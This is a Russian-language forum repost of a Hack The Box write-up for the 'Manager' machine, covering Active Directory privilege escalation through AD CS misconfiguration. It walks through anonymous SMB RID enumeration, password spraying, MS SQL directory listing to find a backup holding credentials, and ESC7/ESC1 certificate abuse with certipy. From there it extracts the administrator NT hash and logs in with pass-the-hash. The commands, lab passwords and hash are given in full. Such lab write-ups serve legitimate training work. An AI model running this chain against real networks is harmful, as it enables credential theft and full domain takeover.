• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Повышаем привилегии в Active Directory через технику ESC7

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,181
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе я покажу, как злоумышленник может повысить привилегии при помощи техники ESC7 и захватить домен через Active Directory Certificate Services. Но прежде займемся разведкой: просканируем ресурсы SMB, извлечем данные из MS SQL и через функцию просмотра каталогов добудем учетные данные пользователя.
Наша цель — получение прав суперпользователя на машине Manager с учебной площадки Hack The Box. Операционная система — Windows, уровень сложности — средний.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.236 manager.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта

По результатам сканирования имеем много открытых портов, что типично для Windows-серверов:
  • 53 — служба DNS;
  • 80 (HTTP) — веб‑сервер Microsoft IIS/10.0;
  • 88 — служба Kerberos;
  • 135 — служба удаленного вызова процедур (Microsoft RPC). Используется для операций взаимодействия контроллер — контроллер и контроллер — клиент;
  • 139 — служба сеансов NetBIOS, NetLogon;
  • 389 — служба LDAP;
  • 445 — служба SMB;
  • 464 — служба смены пароля Kerberos;
  • 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
  • 636 — LDAP с шифрованием SSL или TLS;
  • 1433 — служба Microsoft SQL Server;
  • 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
  • 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
  • 5985 — служба удаленного управления WinRM;
  • 9389 — веб‑службы AD DS.
Сертификаты некоторых служб раскрывают не только имя домена, но и имя машины. Дополним запись в файле /etc/hosts:

10.10.11.236 manager.htb dc01.manager.htb dc01

Точка входа​

Так как доступна служба SMB, первым делом проверяем гостевую авторизацию без ввода пароля. Для этого удобно использовать утилиту Для просмотра ссылки Войди или Зарегистрируйся.

crackmapexec smb 10.10.11.236 -u anonymous -p ''
Результат проверки

Гостевая авторизация доступна! А это значит, что можно использовать технику перебора RID, чтобы получить названия групп и имена пользователей домена. Делается это при помощи все того же CrackMapExec.

crackmapexec smb 10.10.11.236 -u anonymous -p '' --rid-brute 5000
Результат перебора RID

Сохраняем список пользователей в файл. Теперь можно попытаться подобрать пароли к существующим аккаунтам. Протестировать стоит как пустой пароль, так и имена пользователей в качестве паролей. Причем подбирать можно как на службе SMB, так и на службе MS SQL.

Код:
crackmapexec smb 10.10.11.236 -u users.txt -p users.txt --no-bruteforce --continue-on-success


crackmapexec mssql 10.10.11.236 -u users.txt -p users.txt --no-bruteforce --continue-on-success
Результат подбора пароля

Пароли были указаны с заглавной буквы, сменим все строчными и повторим перебор.

crackmapexec smb 10.10.11.236 -u users.txt -p small_users.txt --no-bruteforce --continue-on-success
Результат подбора пароля

В итоге получаем валидную учетную запись operatorperator.

Точка опоры​

При аналогичном переборе службы MS SQL для пользователя operator видим другие результаты, но полученная ошибка подтверждает валидность учетных данных.

crackmapexec smb 10.10.11.236 -u users.txt -p small_users.txt --no-bruteforce --continue-on-success
Результат подбора пароля

Для работы с MS SQL в Linux можно использовать удобный скрипт mssqlclient из набора скриптов Для просмотра ссылки Войди или Зарегистрируйся.

impacket-mssqlclient -port 1433 manager.htb/operator:operator@10.10.11.236 -windows-auth
Подключение к службе MS SQL

Первым делом проверяем, имеет ли пользователь хоть какую‑нибудь административную роль. Сделать это можно за один запрос.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Результат выполнения запроса

У этого пользователя нет ролей, что очень печально. Я попробовал проверить процедуры и другие функции, которые можно эксплуатировать, чтобы повысить привилегии в службе или получить удаленное выполнение кода, но результатов это не дало. Зато можно использовать функцию xp_dirtree для отображения листинга в указанном каталоге.

EXEC xp_dirtree 'C:', 1, 1;
Содержимое диска C

Видим каталог inetpub и вспоминаем про работающий на той же машине веб‑сервер. На этом этапе можно получить всю структуру сайта.

Код:
EXEC xp_dirtree 'C:\inetpub', 1, 1;

EXEC xp_dirtree 'C:\inetpub\wwwroot', 1, 1;
Содержимое каталогов inetpub\wwwroot

В корне сайта лежит бэкап, о котором знать ранее мы не могли. Скачиваем его и просматриваем файлы с настройками. В файле .old-conf.xml есть учетные данные.

wget http://manager.htb/website-backup-27-07-23-old.zip
Содержимое файла .old-conf.xml

Первым делом нужно проверить валидность найденной учетки.

crackmapexec smb 10.10.11.236 -u raven -p 'R4v3nBe5tD3veloP3r!123'
Проверка учетных данных

Учетная запись валидна, а значит, можно получить содержимое группы Remote Management Users. Пользователи в этой группе могут авторизоваться по WinRM.

crackmapexec smb 10.10.11.236 -u raven -p 'R4v3nBe5tD3veloP3r!123' --groups 'Remote Management Users'
Содержимое группы Remote Management Users

Этот пользователь присутствует в группе, поэтому авторизуемся по WinRM и забираем первый флаг.

evil-winrm -i 10.10.11.236 -u raven -p 'R4v3nBe5tD3veloP3r!123'
Флаг пользователя

Локальное повышение привилегий​

Получаем всю информацию о пользователе и отмечаем группу Certificate Service DCOM Access. Это обратило мое внимание на службу сертификации Active Directory.

whoami /all
Информация о пользователе

Для проверки AD CS есть удобный инструмент Для просмотра ссылки Войди или Зарегистрируйся, который не только позволяет работать с центром сертификации, но и помогает автоматически проверять известные уязвимости (параметр -vulnerable).

certipy find -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -vulnerable -stdout
Результат анализа AD CS
В выводе утилиты указано, что присутствует уязвимость ESC7. Это значит, что пользователь имеет опасные привилегии на самом центре сертификации.

ESC7 AD CS​

Службы сертификатов Active Directory (AD CS) — это настраиваемые службы для выдачи сертификатов и управления ими в системах безопасности. Здесь используется технология открытых ключей.

Центры сертификации AD CS выдают сертификаты с параметрами, которые определяются шаблонами. Эти шаблоны представляют собой наборы политик регистрации и предопределенных параметров сертификата и содержат разные сведения, например:
  • срок действия сертификата;
  • предназначение сертификата;
  • способ указания субъекта;
  • кому разрешено запросить сертификаты.
Уязвимость ESC7 заключается в том, что у непривилегированного пользователя есть права на защищаемый объект самого центра сертификации. В таких случаях пользователь может назначить себе право «Управление сертификатами», активировать и использовать шаблон сертификата SubCA, так как он уязвим к технике ESC1. Дело в том, что запрос выдачи сертификатов SubCA будет одобрен только администратором, а пользователи с правами «Управление центром сертификации» и «Управление сертификатами» могут отправлять подтверждение на запросы выдачи сертификатов, даже если они завершились неудачно.

Но для начала обновим запись в файле /etc/hosts, куда внесем и имя центра сертификации.

10.10.11.236 manager.htb dc01.manager.htb manager-DC01-CA
Теперь по намеченному плану назначаем пользователю право «Управление сертификатами».

certipy ca -ca 'manager-DC01-CA' -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -add-officer raven
Результат выполнения команды

Команда выполнена успешно, поэтому переходим к активации шаблона сертификата SubCA. Этот шаблон может быть уже активирован. Чтобы это проверить, используем параметр -list-templates.

certipy ca -ca 'manager-DC01-CA' -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -list-templates
Активные шаблоны сертификатов

Нужный шаблон присутствует в списке, переходим к эксплуатации ESC1.

ESC1 AD CS​

Техника ESC1 позволяет повысить привилегии через шаблон сертификата, но должны выполняться следующие требования:
  1. У шаблона сертификата в свойстве msPKI-Certificate-Name-Flag установлен флаг ENROLLEE_SUPPLIES_SUBJECT, что позволяет запрашивающему самому установить атрибут SAN (subjectAltName).
  2. Сертификат можно использовать для аутентификации клиента (client authentication).
  3. Текущий пользователь имеет права для регистрации сертификата без утверждения менеджера AD CS.
Что делать с третьим требованием? Все просто, у нас ведь есть пользователь‑менеджер, который разрешит выдачу сертификата. Получается, эта техника основана на возможности изменения SAN сертификата, что позволяет выпустить сертификат для любого пользователя домена, включая администратора домена!

Давай запросим сертификат SubCA, где в атрибуте SAN укажем пользователя administrator.

certipy req -ca 'manager-DC01-CA' -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -target dc01.manager.htb -template SubCA -upn administrator@manager.htb
Результат запроса сертификата

Запрос завершился ошибкой, но мы знаем его номер — 25. Одобрим заявку на выдачу сертификата и заново запросим его.

certipy ca -ca 'manager-DC01-CA' -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -issue-request 25
Одобрение заявки

certipy req -ca 'manager-DC01-CA' -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -target dc01.manager.htb -retrieve 25
Повторный запрос сертификата

Имея сертификат пользователя, позволяющий пройти аутентификацию, можно получить NT-хеш пароля пользователя.

UnPAC the hash​

Суть техники UnPAC the hash в том, что, имея сертификат, позволяющий пользователю пройти аутентификацию, можно получить TGT-билет. В нем будет структура PAC_CREDENTIAL_INFO, а она содержит ключи NTLM. Так как в этих операциях задействован Kerberos, нам дополнительно требуется синхронизировать время с удаленным сервером. После получения TGT-билета и NT-хеша вернем время обратно.

Код:
sudo ntpdate -s 10.10.11.236
certipy auth -pfx administrator.pfx -dc-ip 10.10.11.236
sudo ntpdate -s ntp.org
Получение NT

С полученным хешем подключаемся к серверу от имени администратора и забираем последний флаг.

evil-winrm -i 10.10.11.236 -u administrator -H ae5064c2f62317332c88629e025924ef
Флаг рута

Машина захвачена!
 
Activity
So far there's no one here